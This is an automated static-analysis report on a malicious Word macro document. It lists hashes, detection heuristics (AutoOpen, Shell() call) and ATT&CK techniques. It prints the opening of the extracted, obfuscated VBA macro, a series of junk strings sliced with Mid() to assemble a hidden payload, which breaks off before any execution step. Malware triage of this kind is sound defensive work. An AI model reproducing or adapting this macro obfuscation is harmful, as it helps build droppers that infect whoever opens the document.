Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 99391bcec56d2630…

MALICIOUS

Office (OLE)

82.5 KB Created: 2017-10-24 14:39:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 74bfb1369d79beffefb6ec1d7ff9b0aa SHA-1: 07c18248facf03a34f147ca0d8632d439b0909b2 SHA-256: 99391bcec56d263090c5efffeef1ce38a7463469918acf74a3beeded03a7458d
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is a malicious Office document containing obfuscated VBA macros. The 'OLE_VBA_SHELL' and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristics indicate that the AutoOpen macro attempts to execute a command using the Shell() function. This is a common technique for downloading and executing further malicious content, hence the 'unknown_exploit_score' and the 'Exploitation for Client Execution' technique. The ClamAV detection also confirms its malicious nature.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16577 bytes
SHA-256: 8c05439ab1c751ce9350e1191e2b205315d4c5b48807a5855294d5976c90edd3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 43 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function PCRhDKcnK()
sjTLiVNIth = "TPXB8wHzzlqqDXiKzdpfZaEOoDrcnCZkcIniKVVjbhddLYKhdoWVazaYVblWEfKzLFOvkvzdIFErwbCPtKwzjDJdhONjjwiwXjRFKPwiosNUvibuYVduhLRIvkNViQuKaIUPJzFiNQKnqphzmSKOUkOMPJJZBbzYwDtnOMkbPzhRAdRGCOiPFjpqtIAAojclQmpnwulaijwVOFS9O"
fVOavlf = Mid(sjTLiVNIth, 6, 199)
JzltUiHpNSk = fVOavlf
IwIkIImMjT = "03CJ3uOPiYjCmaREwToqKRVaZVXiJHXRGEUaRStziOClKEwKwEvEiOBhtuNrXjFXBPwiG7R5VIIIXQ9971LT9JG04FC3WA"
fjitEVBtZ = Mid(IwIkIImMjT, 6, 64)
jjrJWAz = fjitEVBtZ
odLdAB = "XHDQNC525UBQFVnkzIMpNjjZzrVQsBGFTuKUwXjPiXcmPiIzIbTitmtzpmzMfBIwlbopdTnabwHpEwKQjWHQiYLjAKiKXUjjOjBntSVpotGzfEvsbicJtrNNPIoSocCHMaaXvWXQAScpROBwPmjpramXSoXliCBMqwkEdXzELMIbPYvBGrDCtNQmnDFHzlmwRPwTdwSroidfRLHusWimwwTdizQaSqFZZKKzZcXKZLNOjlUcvKOcHzzSwVkffrZwYEFHBHUQwUNnlEHBTY24SFFH7ARHV1"
frwrDF = Mid(odLdAB, 15, 256)
jLwIDQYB = frwrDF
HDzGHEFprZL = "N8LICZCDKIqOjAGLFnJbipzNMLXnPJKuViMqDCjGPiadPkUCjjjpXiajDNOcPpwrswsBnPIDDCLEPWwcrUDjZVWrDdmqnHrafikTrSOTYjmUSWThPmkulPRXZBzKdRPvLlZjlikZGjLtjBZhJFaBWzpPRNtqUEqGRqJjwmwkCLnBEXoYbQAXrNYNwJPXluECsEcssskXJpzKJnKtZVOEDSPDRvkmXYzIHlIAuvfjfdOBONEIzVwPfzwZpZa584WCN1CF1T23HBPNAHTWUD"
BqazUcwq = Mid(HDzGHEFprZL, 11, 241)
EQzRH = BqazUcwq
AGqzuDmA = "QF8694OSG1HYDcpIADWsIDbznXQMvzOkIVRkdKPJpURPKUitPHfwQlizGSzfjWPzwLoZLFiqoNDolMnSpWznTQUWmRdLMjdSFTSzfIiKcpJDhuNuffqJYbijrSntbTdFkkjStomhnnKdGQorDjfhtTudpmHNVpiJMESzLvArtIVlRAZaivqrnwLQqGcGjYLwEBRBwrjHjo8JCKJHOM"
zlVKAdkHmr = Mid(AGqzuDmA, 14, 189)
ufnvzZfLHHt = zlVKAdkHmr
KmBlR = "XHcVXYwBuQUNCRijOwhvZPYBifLMIRpSmQMEArqBlwBqrzlnwZnrTYhiFbrsNltcaCblEZiWHfKaNiKitXOjiwwNjiwZAwozFYPpYzjYqQknOHQXQMwpWKwcDNCWaJWIrKVpTVGuoqsNOLzcSbInAwcvamlKwMzjubwDmbDvFEBjRlOsNaEzBiHsiZOjjvzbsLTmOwqqXMiwzvdoXtzWIwfLUDVMMXMJGZnFScdRkNboALumwZPPKDWQQPQ7A63F4SD2JQ2D060O7HV2KQ"
FqfwhZIGiAE = Mid(KmBlR, 3, 240)
ERiUXoV = FqfwhZIGiAE
usrunIP = "03UTX03B2EMMN3QCIuzdoiHbcSaKrDErrihlPqfjMboqwimlMhsanCrNSWwlizJEQYGpjBVOOQRMqRcwfpwKKdDpmUTsttBPSjZaXzFKLiMWlfWAtwFpzwumURCMhdUVPCuGrCaijnzfRhEHzSwvoMPTpnGGusdhKrHikPJrYWFLzOVnMJ1CX9H9LCA4BAV0VI7NU1P"
riEbunFVRq = Mid(usrunIP, 18, 160)
dApYbtBsQqG = riEbunFVRq
QzvlAzbqWj = "72VHTBODijwCtFimSjKIjJATORtpOjBlWMpwOjQzHIbaikBjLDdjNkfZQjsBIYpziNfjQiXmTMAYiapiQKiKFRXmhQjhnOpjSbsQEUSdfrQBjGrprOkwufuQptwABqwEWRFGhZZvrAiNBVCaYrqZirpnhcaLWScptMfSBkHRopGtAjPUqXbKzYaibRZFwNZYYoUpqjZojYkolwnAMGVwrRpUlArkLCTbQhULMadHwnbboltfiYsssahGzADqspcjFJYDbbomcOADUUWF5TKFNT4OWCI7XAH4EIR2"
SBPCiIM = Mid(QzvlAzbqWj, 4, 265)
IjOwWrG = SBPCiIM
tPLHKahUzzb = "KPF4YERLNCzLmrDWnsjSSOCtFMkmjWvAOniKIcHhVhTnvzNIkJothTXZtAfOzwPwHzwwMsOKlBwkuPwIwbCZiC5VEP9V0X33Z57NTCWYIF5"
NCGwBG = Mid(tPLHKahUzzb, 10, 77)
Vvlfiw = NCGwBG
jEsuEvtD = "ACCKIICBXMMYXKXNIpwaTujIRKbdiAAYpXHYWvQjmvWrKIIiPmOWKjGtZKKSpGianbWXiYDNYSoXXozJCtOrmiOJQNwMlwqfMwDjmlDrjAzsriWkMBQwsqoJNMGQZqcabILbkFV"
HkcLvcuPEmD = Mid(jEsuEvtD, 17, 117)
KkLAiK = HkcLvcuPEmD
OiAGMUYTGb = "48ATvQFRHztkYSVjwAPvrvdHfWmidCXQWuqQFiAiHbHNsRYSZjAHjfKdEunYianEZcNdcFaTAjoPoQPNwUFuCQjqkMLLqcEhoCoPDupUIjHCrupoiaaJUsCJvXtPtPdYcHblcAJEilmWIizqWXjQBuMwAiTjAZasDjZjSDMdQWfiGfARXCtWiMWiuilzhcDEKtTZFPXTKDzfPdpUdBJwjEKqMqpnSOwnSaXNMbMHiZLfNrTQpQUfTFXGjdMOajAwGLMoFcICpBTGtiTEAKUMMB2YPUCKIJA57JKSYEG4WG1GHMCHP"
iTJNfHzIaJI = Mid(OiAGMUYTGb, 4, 267)
NPRijuZS = iTJNfHzIaJI
hPGaiUXrBZ = "3SM3pGcWdTlaCNMWaGzdMGRklHCFlRDAplkWTcSIAOUCaTIRuTjKjAwcQlVhDXkLPlkRcqDzopcwlOJSwlLSisUonIFhHkFcdJnpiroDPlWqXzqCcCjSLSdXRviUlVqEkzVcbUkHwHCwVdQnRDFFAmRKfPYmMUSuvSGYiObHScWEPjBnirDiQkDziKwLwzu3PJ034"
GImqvlpZj = Mid(hPGaiUXrBZ, 5, 187)
wJwXMH = GImqvlpZj
CaAwqfsl = "0I5BH3PYhWGSQ"
JMnSlij = Mid(CaAwqfsl, 9, 3)
JDWNV = JMnSlij
dXZhzSH = "Y3DA5AAFHMB6ULNMACE3QIIXPAA5RRqmdapMvOjQUYNkELTjrCmhXEBbzIfkuIODHRRisBFTJitTKwBLijEfUJPYYNPnjzVMJJcmuoqqwTXsLiQADOP95P2"
ltDLCriJtSN = Mid(dXZhzSH, 31, 82)
dKzhaK = ltDLCriJtSN
End Function
Function iHwYSd
... (truncated)

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